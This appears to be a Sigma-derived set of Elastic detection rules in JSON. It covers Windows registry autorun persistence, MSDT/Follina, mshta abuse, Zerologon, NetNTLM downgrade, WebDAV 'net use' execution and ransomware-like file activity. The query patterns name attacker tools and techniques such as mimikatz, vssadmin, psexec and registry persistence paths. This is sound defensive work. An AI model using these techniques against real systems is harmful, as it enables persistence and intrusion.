{"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5a10496e-4973-fc8a-cee0-2cecf9bf5f79", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WinSock2 Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters* AND winlog.event_data.TargetObject:(*\\\\Protocol_Catalog9\\\\Catalog_Entries* OR *\\\\NameSpace_Catalog5\\\\Catalog_Entries*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\" OR process.executable:\"C\\:\\\\Windows\\\\System32\\\\MsiExec.exe\" OR process.executable:\"C\\:\\\\Windows\\\\syswow64\\\\MsiExec.exe\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "96c15a0a-07f3-e2cd-a409-445ec200d4ab", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Wow6432Node CurrentVersion Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\ShellServiceObjectDelayLoad* OR *\\\\Run\\\\* OR *\\\\RunOnce\\\\* OR *\\\\RunOnceEx\\\\* OR *\\\\RunServices\\\\* OR *\\\\RunServicesOnce\\\\* OR *\\\\Explorer\\\\ShellServiceObjects* OR *\\\\Explorer\\\\ShellIconOverlayIdentifiers* OR *\\\\Explorer\\\\ShellExecuteHooks* OR *\\\\Explorer\\\\SharedTaskScheduler* OR *\\\\Explorer\\\\Browser\\ Helper\\ Objects*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (process.executable.text:*C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\\\{* AND process.executable.text:*\\\\setup.exe*) OR (process.executable.text:\"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\OfficeClickToRun.exe\" AND winlog.event_data.TargetObject:*\\\\Office\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Wow6432Node\\\\*) OR (process.executable.text:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\") AND winlog.event_data.TargetObject:*\\\\Explorer\\\\Browser\\ Helper\\ Objects\\\\\\{31D09BA0\\-12F5\\-4CCE\\-BE8A\\-2923E76605DA\\}\\\\*) OR (winlog.event_data.Details:*\\-A251\\-47B7\\-93E1\\-CDD82E34AF8B\\} OR winlog.event_data.Details:\"grpconv\\ \\-o\" OR winlog.event_data.Details:*C\\:\\\\Program\\ Files* AND winlog.event_data.Details:*\\\\Dropbox\\\\Client\\\\Dropbox.exe* AND winlog.event_data.Details:*\\ \\/systemstartup*) OR (winlog.event_data.TargetObject:*\\\\Explorer\\\\Browser\\ Helper\\ Objects\\\\\\{92EF2EAD\\-A7CE\\-4424\\-B0DB\\-499CF856608E\\}\\\\NoExplorer) OR (process.executable.text:*\\\\windowsdesktop\\-runtime\\-* AND winlog.event_data.TargetObject:(*\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{e2d1ae32\\-dd1d\\-4ad7\\-a298\\-10e42e7840fc\\} OR *\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{7037b699\\-7382\\-448c\\-89a7\\-4765961d2537\\}) AND winlog.event_data.Details:(\\\"C\\:\\\\ProgramData\\\\Package\\ Cache\\\\\\{7037b699\\-7382\\-448c\\-89a7\\-4765961d2537\\}\\\\windowsdesktop\\-runtime\\-* OR \\\"C\\:\\\\ProgramData\\\\Package\\ Cache\\\\\\{e2d1ae32\\-dd1d\\-4ad7\\-a298\\-10e42e7840fc\\}\\\\windowsdesktop\\-runtime\\-*) AND winlog.event_data.Details:*.exe\\\"\\ \\/burn.runonce) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable.text:*\\\\OfficeClickToRun.exe) OR (winlog.event_data.Details:\\\"C\\:\\\\ProgramData\\\\Package\\ Cache\\\\\\{d21a4f20\\-968a\\-4b0c\\-bf04\\-a38da5f06e41\\}\\\\windowsdesktop\\-runtime\\-*) OR (process.executable.text:*\\\\VC_redist.x64.exe AND winlog.event_data.Details:*\\}\\\\VC_redist.x64.exe\\\"\\ \\/burn.runonce) OR (process.executable.text:(C\\:\\\\ProgramData\\\\Package\\ Cache* OR C\\:\\\\Windows\\\\Temp\\\\*) AND process.executable.text:*\\\\winsdksetup.exe AND winlog.event_data.Details:*\\\\winsdksetup.exe\\\"\\ \\/burn.runonce))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8d273e6c-77d7-b708-2466-761946375293", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Wow6432Node Classes Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Wow6432Node\\\\Classes* AND winlog.event_data.TargetObject:(*\\\\Folder\\\\ShellEx\\\\ExtShellFolderViews* OR *\\\\Folder\\\\ShellEx\\\\DragDropHandlers* OR *\\\\Folder\\\\ShellEx\\\\ColumnHandlers* OR *\\\\Directory\\\\Shellex\\\\DragDropHandlers* OR *\\\\Directory\\\\Shellex\\\\CopyHookHandlers* OR *\\\\CLSID\\\\\\{AC757296\\-3522\\-4E11\\-9862\\-C17BE5A1767E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{ABE3B9A4\\-257D\\-4B97\\-BD1A\\-294AF496222E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{7ED96837\\-96F0\\-4812\\-B211\\-F13C24117ED3\\}\\\\Instance* OR *\\\\CLSID\\\\\\{083863F1\\-70DE\\-11d0\\-BD40\\-00A0C911CE86\\}\\\\Instance* OR *\\\\AllFileSystemObjects\\\\ShellEx\\\\DragDropHandlers* OR *\\\\ShellEx\\\\PropertySheetHandlers* OR *\\\\ShellEx\\\\ContextMenuHandlers*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "96c15a0a-07f3-e2cd-a409-445ec200d4ab", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Wow6432Node CurrentVersion Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\Windows\\\\Appinit_Dlls* OR *\\\\Image\\ File\\ Execution\\ Options* OR *\\\\Drivers32*)) AND (NOT (winlog.event_data.Details:(\"\$Empty\$\" OR \"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fdc69740-bd97-393a-64a5-e6627723cfa1", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Modification of IE Registry Settings", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet\\ Settings*) AND (NOT (((winlog.event_data.Details:DWORD*)) OR ((winlog.event_data.Details:(\"Cookie:\" OR \"Visited:\" OR \"(Empty)\"))) OR ((winlog.event_data.TargetObject:(*\\\\Cache* OR *\\\\ZoneMap* OR *\\\\WpadDecision*))) OR ((winlog.event_data.Details:\"Binary Data\")) OR ((winlog.event_data.TargetObject:*\\\\Accepted\\ Documents\\\\*)))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely but if you experience FPs add specific processes and locations you would like to monitor for"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d19234e6-c091-5c99-b12e-2fa28095d386", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via MyComputer Registry Keys", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer* AND winlog.event_data.TargetObject:*\$Default\$)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a4315984-6bc5-aca6-bc10-067ae852ed57", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Modification of Explorer Hidden Keys", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\ShowSuperHidden\" OR \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\Hidden\") AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3e150bb2-2fcc-8fc0-04ec-02c5deca3208", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSDT Executed with Suspicious Parent", "query": "(process.parent.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\cmd.exe OR *\\\\mshta.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\wsl.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe) AND (process.executable:*\\\\msdt.exe OR winlog.event_data.OriginalFileName:\"msdt.exe\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nextron Systems"], "license": ""}
{"description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3e150bb2-2fcc-8fc0-04ec-02c5deca3208", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSDT Executed with Suspicious Parent", "query": "(process.parent.executable:(*\\\\powershell.exe OR *\\\\cmd.exe OR *\\\\mshta.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\wsl.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe) AND (process.executable:*\\\\msdt.exe OR winlog.event_data.OriginalFileName:\"msdt.exe\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nextron Systems"], "license": ""}
{"description": "Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6e1743b0-c6ed-7756-881b-e11b23ccdc85", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "TA505 Dropper Load Pattern", "query": "(process.parent.executable:*\\\\wmiprvse.exe AND (process.executable:*\\\\mshta.exe OR winlog.event_data.OriginalFileName:\"mshta.exe\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1106"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects MSHTA.EXE spwaned by SVCHOST as seen in LethalHTA and described in report", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9abda233-c3ec-30fa-1a0b-a63161e04d94", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSHTA Spwaned by SVCHOST", "query": "(process.parent.executable:*\\\\svchost.exe AND process.executable:*\\\\mshta.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects MSI package installation from suspicious locations", "enabled": false, "false_positives": ["Some false positives may occur depending on the environnement"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a0354c27-f294-0ed1-0f5e-172f4db45250", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSI Installation From Suspicious Locations", "query": "(winlog.channel:\"Application\" AND (Provider_Name:\"MsiInstaller\" AND winlog.event_id:(\"1040\" OR \"1042\") AND Data:(*\\\\Users\\\\Public\\\\* OR *\\\\PerfLogs\\\\* OR *\\\\Desktop\\\\* OR *C\\:\\\\Windows\\\\TEMP\\\\* OR *\\\\\\\\\\*)) AND (NOT ((Data:*\\\\AppData\\\\Local\\\\Temp\\\\WinGet\\\\*) OR (Data:*C\\:\\\\Windows\\\\TEMP\\\\UpdHealthTools.msi*))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "28dd7c7b-3f55-7295-f947-b1454a9a2bb5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Msiexec Load DLL", "query": "(process.executable.text:*\\\\msiexec.exe AND process.command_line.text:(*\\ \\/z\\ * OR *\\ \\-z\\ *) AND process.command_line.text:*.dll*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects multiple blocks by the mod_security module (Web Application Firewall)", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Vulnerability scanners", "Frequent attacks if system faces Internet"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3a2b5855-16b0-fe6a-804f-de84cd335fbf", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Multiple Modsecurity Blocks", "query": "((*mod_security: Access denied*) OR (*ModSecurity: Access denied*) OR (*mod_security-message: Access denied*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1499"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1499", "name": "Endpoint Denial of Service", "reference": ""}]}], "version": 1, "threshold": {"field": [], "value": 7}, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).", "enabled": false, "false_positives": ["Software uninstallation", "Files restore activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "18175966-7954-9300-66ab-c13187397923", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Multiple File Rename Or Delete Occurred", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4663\" AND winlog.event_data.ObjectType:\"File\" AND AccessList:\"%%1537\" AND Keywords:\"0x8020000000000000\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1486"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}]}], "version": 1, "threshold": {"field": "SubjectLogonId", "value": 11}, "references": [""], "timestamp_override": "event.ingested", "author": ["Vasiliy Burov", "oscd.community"], "license": ""}
{"description": "Detects multiple suspicious process in a limited timeframe", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f02585d-b296-4597-7d47-c2bd63340029", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Quick Execution of a Series of Suspicious Commands", "query": "process.command_line:(*arp.exe* OR *at.exe* OR *attrib.exe* OR *cscript.exe* OR *dsquery.exe* OR *hostname.exe* OR *ipconfig.exe* OR *mimikatz.exe* OR *nbtstat.exe* OR *net.exe* OR *netsh.exe* OR *nslookup.exe* OR *ping.exe* OR *quser.exe* OR *qwinsta.exe* OR *reg.exe* OR *runas.exe* OR *sc.exe* OR *schtasks.exe* OR *ssh.exe* OR *systeminfo.exe* OR *taskkill.exe* OR *telnet.exe* OR *tracert.exe* OR *wscript.exe* OR *xcopy.exe* OR *pscp.exe* OR *copy.exe* OR *robocopy.exe* OR *certutil.exe* OR *vssadmin.exe* OR *powershell.exe* OR *wevtutil.exe* OR *psexec.exe* OR *bcedit.exe* OR *wbadmin.exe* OR *icacls.exe* OR *diskpart.exe*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1059"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "threshold": {"field": "MachineName", "value": 6}, "references": [""], "timestamp_override": "event.ingested", "author": ["juju4"], "license": ""}
{"description": "Detects multiple suspicious process in a limited timeframe", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f02585d-b296-4597-7d47-c2bd63340029", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Quick Execution of a Series of Suspicious Commands", "query": "process.command_line:(*arp.exe* OR *at.exe* OR *attrib.exe* OR *cscript.exe* OR *dsquery.exe* OR *hostname.exe* OR *ipconfig.exe* OR *mimikatz.exe* OR *nbtstat.exe* OR *net.exe* OR *netsh.exe* OR *nslookup.exe* OR *ping.exe* OR *quser.exe* OR *qwinsta.exe* OR *reg.exe* OR *runas.exe* OR *sc.exe* OR *schtasks.exe* OR *ssh.exe* OR *systeminfo.exe* OR *taskkill.exe* OR *telnet.exe* OR *tracert.exe* OR *wscript.exe* OR *xcopy.exe* OR *pscp.exe* OR *copy.exe* OR *robocopy.exe* OR *certutil.exe* OR *vssadmin.exe* OR *powershell.exe* OR *pwsh.exe* OR *wevtutil.exe* OR *psexec.exe* OR *bcedit.exe* OR *wbadmin.exe* OR *icacls.exe* OR *diskpart.exe*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1059"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "threshold": {"field": "MachineName", "value": 6}, "references": [""], "timestamp_override": "event.ingested", "author": ["juju4"], "license": ""}
{"description": "Detects net use command combo which executes files from WebDAV server; seen in malicious LNK files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "17c67f53-975b-dc82-a0fd-1188a25bb938", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Net Use Command Combo", "query": "(process.executable.text:*\\\\cmd.exe* AND process.command_line.text:*\\ net\\ use\\ http* AND process.command_line.text:*&\\ start\\ \\/b\\ * AND process.command_line.text:*\\\\DavWWWRoot\\\\* AND process.command_line.text:(*.exe\\ * OR *.dll\\ * OR *.bat\\ * OR *.vbs\\ * OR *.ps1\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects Netlogon Elevation of Privilege Vulnerability aka Zerologon (CVE-2020-1472)", "enabled": false, "false_positives": ["automatic DC computer account password change", "Legitimate DC computer account password change"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a828f816-b167-e3d3-82da-598b79dec7c2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible Zerologon (CVE-2020-1472) Exploitation", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4742\" AND winlog.event_data.SubjectUserName:\"ANONYMOUS\\ LOGON\" AND winlog.event_data.TargetUserName:\"%DC\\-MACHINE\\-NAME%\") AND (NOT (winlog.event_data.PasswordLastSet:\"\\-\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Aleksandr Akhremchik", "@aleqs4ndr", "ocsd.community"], "license": ""}
{"description": "Detects NetNTLM downgrade attack", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7815c26-e14b-392f-a34c-e8ae2659ec3c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NetNTLM Downgrade Attack", "query": "(winlog.event_data.TargetObject:*SYSTEM\\\\* AND winlog.event_data.TargetObject:*ControlSet* AND winlog.event_data.TargetObject:*\\\\Control\\\\Lsa* AND winlog.event_data.TargetObject:(*\\\\lmcompatibilitylevel OR *\\\\NtlmMinClientSec OR *\\\\RestrictSendingNTLMTraffic))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "wagga"], "license": ""}
